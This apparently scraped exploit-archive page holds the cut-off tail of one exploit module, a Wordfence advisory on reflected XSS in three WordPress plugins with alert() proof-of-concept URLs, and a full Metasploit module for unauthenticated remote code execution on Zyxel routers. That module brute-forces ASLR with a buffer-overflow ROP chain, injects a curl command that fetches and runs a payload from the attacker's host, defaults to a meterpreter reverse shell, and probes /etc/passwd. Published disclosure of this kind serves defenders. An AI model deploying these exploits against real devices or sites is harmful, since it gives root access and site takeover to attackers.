:php<br /> execute_php(payload.encoded)<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager(linemax: 65536)<br /> when :windows_command<br /> execute_command(payload.encoded)<br /> when :windows_dropper<br /> execute_cmdstager(flavor: :psh_invokewebrequest, linemax: 65536)<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>Description: Reflected Cross-Site Scripting <br /><br />Affected Plugin: Watu Quiz<br /><br />Plugin Slug: watu<br /><br />Affected Versions: <= 3.3.9<br /><br />CVE ID: CVE-2023-0968<br /><br />CVSS Score: 6.1 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br /><br />Researcher/s: Marco Wotschka <br /><br />Fully Patched Version: 3.3.9.1<br /><br />Description: Reflected Cross-Site Scripting <br /><br />Affected Plugin: GN Publisher: Google News Compatible RSS Feeds<br /><br />Plugin Slug: gn-publisher<br /><br />Affected Versions: <= 1.5.5<br /><br />CVE ID: CVE-2023-1080<br /><br />CVSS Score: 6.1 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br /><br />Researcher/s: Marco Wotschka <br /><br />Fully Patched Version: 1.5.6<br /><br />Description: Reflected Cross-Site Scripting <br /><br />Affected Plugin: Japanized For WooCommerce<br /><br />Plugin Slug: woocommerce-for-japan<br /><br />Affected Versions: <= 2.5.4<br /><br />CVE ID: CVE-2023-0942<br /><br />CVSS Score: 6.1 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br /><br />Researcher/s: Marco Wotschka <br /><br />Fully Patched Version: 2.5.5<br /><br />Vulnerability Details<br /><br />Watu Quiz is a plugin that offers site owners the ability to create exams, quizzes and surveys. It allows administrators to review quiz submissions and filter search results by username, email, date taken and quiz score. Unfortunately, the search terms – provided as URL parameters – were not properly sanitized before being echoed on the search form.<br /><br />Visiting a URL containing a malicious payload sufficed to trigger the execution of malicious JavaScript code in the context of the visiting user’s session. Since the exploitable page was an administrative page, this code could be used to create new administrator users or to perform other similarly severe actions potentially resulting in site takeover.<br /><br />A vulnerable line of code in the plugin used the user-provided parameter and output it directly:<br /><br /><input name="dn" type="text" value="<?php echo @$_GET['dn']?>" /><br /><br />The dn parameter can be used to close out the value attribute, add an onmouseover event (or an onfocus event combined with the autofocus attribute) and execute JavaScript in the context of the victim’s browser.<br /><br />/wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(123)%2F%2F<br /><br />Versions up to 3.3.9 of this plugin are vulnerable. The issue is fixed in version 3.3.9.1 as of March 3, 2023.<br /><br />GN Publisher is a plugin that makes RSS feeds which comply with Google News RSS feed technical requirements – necessary for inclusion in the Google News Publisher Center. The plugin addresses some common RSS compatibility issues publishers typically experience.<br /><br />On its main configuration page It offers a tabbed form where administrators can change plugin-specific settings. However, the plugin does not properly escape the tab name before outputting it.<br /><br />The software features a button in the top right corner that offers an upgrade to the PRO version. The code for the button in the vulnerable version is shown below (slightly reformatted for legibility):<br /><br />As can be seen, the button element contains a php echo statement that outputs the tab parameter as a button class attribute. An unauthenticated attacker can take advantage of this and inject attribute-based JavaScript that executes on an event of the attacker’s choosing such as onmouseover, or onfocus in combination with autofocus, assuming they can also successfully trick a site administrator into performing an action.<br /><br />/wp-admin/options-general.php?page=gn-publisher-settings&tab=hans%22%2F+onmouseover%3Dalert%281%29%3B%2F%2F<br /><br />Versions up to, and including, 1.5.5 are vulnerable. Version 1.5.6 addressed this issue and was released on February 24, 2023.<br /><br />The plugin Japanized for WooCommerce adds additional features to WooCommerce that make it more user-friendly for a Japanese audience, such as honorific titles and custom payment options geared towards the Japanese market. Similarly to the other two plugins discussed above, Japanized for WooCommerce outputs unsanitized user input provided via URL parameter.<br /><br />As long as a tab parameter is provided, it will be output as part of the provided JavaScript that follows. A malicious piece of code can be used to close the script tag, open a new one, and include code to be executed on behalf of the visiting user.<br /><br />/wp-admin/admin.php?page=wc4jp-options&tab=hans%27%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E<br /><br />Just like the other two vulnerabilities discussed above, this vulnerability can be exploited by unauthenticated attackers as long as an administrator of a vulnerable site can be tricked into performing an action such as clicking on a link leading them to the vulnerable form.<br /><br />This issue is patched as of version 2.5.6, which was released on February 28, 2023.<br /><br />As a final reminder, as is typical for Reflected Cross-Site Scripting vulnerabilities, these attacks can be carried out by unauthenticated users. However, the interaction of a site user is a requirement. Furthermore, the malicious injection does not persist as it is not stored in the database.<br /><br />Conclusion<br /><br />In today’s post, we detailed flaws in three plugins that made it possible for attackers to inject malicious JavaScript into a vulnerable site. While the exploitation of these vulnerabilities requires some degree of social engineering, they all could be used for site takeover.<br /><br />All Wordfence users, including those running Wordfence Premium, Wordfence Care, and Wordfence Response, as well as sites still running the free version of Wordfence, are fully protected against this vulnerability.<br /><br />If you believe your site has been compromised as a result of these vulnerabilities or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.<br /><br />If you have any friends or colleagues who are using one of these plugins, please share this announcement with them and encourage them to update to the latest version as soon as possible.<br /><br />If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard.<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'openssl'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = GoodRanking<br /><br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::Remote::HttpServer<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Zyxel Unauthenticated LAN Remote Code Execution',<br /> 'Description' => %q{<br /> This module exploits a buffer overflow in the zhttpd binary (/bin/zhttpd). It is present on more than 40 Zyxel routers and CPE devices.<br /> The code execution vulnerability can only be exploited by an attacker if the zhttp webserver is reachable.<br /> No authentication is required. After exploitation, an attacker will be able to execute any command<br /> as root, including downloading and executing a binary from another host.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Steffen Robertz <s.robertz[at]sec-consult.com>',<br /> 'Gerhard Hechenberger <g.hechenberger[at]sec-consult.com>',<br /> 'Thomas Weber <t.weber[at]sec-consult.com>',<br /> 'Stefan Viehboeck <v.viehboeck[at]sec-consult.com>',<br /> 'SEC Consult Vulnerability Lab'<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://r.sec-consult.com/zyxsploit'],<br /> ],<br /> 'Privileged' => true,<br /> 'Platform' => 'linux',<br /> 'Arch' => ARCH_ARMLE,<br /> 'Payload' => {},<br /> 'Stance' => Msf::Exploit::Stance::Aggressive,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',<br /> 'WfsDelay' => 15<br /> },<br /> 'Targets' => [<br /> [ 'Zyxel Device', {} ]<br /> ],<br /> 'DisclosureDate' => '2022-02-01',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SERVICE_RESTARTS],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(80)<br /> ]<br /> )<br /><br /> register_advanced_options(<br /> [<br /> OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 7200])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_raw({<br /> 'uri' => '/Export_Log?/etc/passwd',<br /> 'method' => 'GET',<br /> 'rport' => datastore['RPORT']<br /> })<br /><br /> return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return CheckCode::Vulnerable if res.to_s['root:x:0:0:']<br /><br /> return CheckCode::Safe<br /> end<br /><br /> # Handle incoming requests from the router<br /> def on_request_uri(cli, _request)<br /> if !@payload_sent<br /> print_good("#{peer} - Sending executable to the router")<br /> print_good("#{peer} - A shell should connect soon!")<br /> send_response(cli, @payload_exe)<br /> @payload_sent = true<br /> end<br /> end<br /><br /> def build_buffer_overflow_url(download_cmd)<br /> libc_addr = 0xb6a38000<br /><br /> system_offset = 0x000376c8<br /> system_addr = libc_addr + system_offset<br /><br /> mov_offset = 0x000f4ccc<br /> mov_addr = libc_addr + mov_offset<br /><br /> r3_offset = 0x0010bdac<br /> r3_addr = libc_addr + r3_offset<br /><br /> sp_inc_offset = 0x000f70ec<br /> sp_inc_addr = libc_addr + sp_inc_offset<br /><br /> overflow_url = rand_text_alpha_lower(268)<br /> overflow_url += [r3_addr].pack('I')<br /> overflow_url += rand_text_alpha_lower(12)<br /> overflow_url += [sp_inc_addr].pack('I')<br /> overflow_url += [mov_addr].pack('I')<br /> overflow_url += rand_text_alpha_lower(4)<br /> overflow_url += [system_addr].pack('I')<br /> overflow_url += rand_text_alpha_lower(24)<br /> overflow_url += download_cmd<br /> return overflow_url<br /> end<br /><br /> def send_exploit(exploit_url)<br /> send_request_raw({<br /> 'uri' => "/Export_Log?#{exploit_url}",<br /> 'method' => 'GET',<br /> 'rport' => datastore['RPORT']<br /> })<br /> Rex.sleep(6)<br /> end<br /><br /> def exploit<br /> if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0<br /> fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")<br /> end<br /><br /> print_status("Attempting to exploit #{target.name}")<br /><br /> srv_host = datastore['SRVHOST']<br /> srv_port = datastore['SRVPORT']<br /> @cmd_file = rand_text_alpha_lower(1)<br /> payload_file = rand_text_alpha_lower(1)<br /><br /> # generate our payload executable<br /> @payload_exe = generate_payload_exe<br /><br /> # Command that will download @payload_exe and execute it<br /> download_cmd = 'curl${IFS}'<br /> if datastore['SSL']<br /> # https:// can't be a substring as the zyxel parser won't be able to understand the URI<br /> download_cmd += '-k${IFS}https:`echo${IFS}//`'<br /> end<br /> download_cmd += "#{srv_host}:#{srv_port}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"<br /><br /> http_service = "#{srv_host}:#{srv_port}"<br /> print_status("Starting up our web service on #{http_service} ...")<br /> start_service({<br /> 'Uri' => {<br /> 'Proc' => proc do |cli, req|<br /> on_request_uri(cli, req)<br /> end,<br /> 'Path' => "/#{payload_file}"<br /> }<br /> })<br /><br /> print_status('Going to bruteforce ASLR, this might take a while...')<br /><br /> count = 1<br /> exploit_url = build_buffer_overflow_url(download_cmd)<br /> timeout = 0<br /> until @payload_sent<br /> print_status("Trying to overflow the buffer, attempt #{count}")<br /> send_exploit(exploit_url)<br /> count += 1<br /> timeout += 6<br /><br /> if timeout == datastore['MAX_WAIT'].to_i<br /> fail_with(Failure::Unknown, "#{peer} - Timeout reached! You were either very unlucky or the device is not vulnerable anymore!")<br /> end<br /> end<br /> end<br />end<br /></code></pre>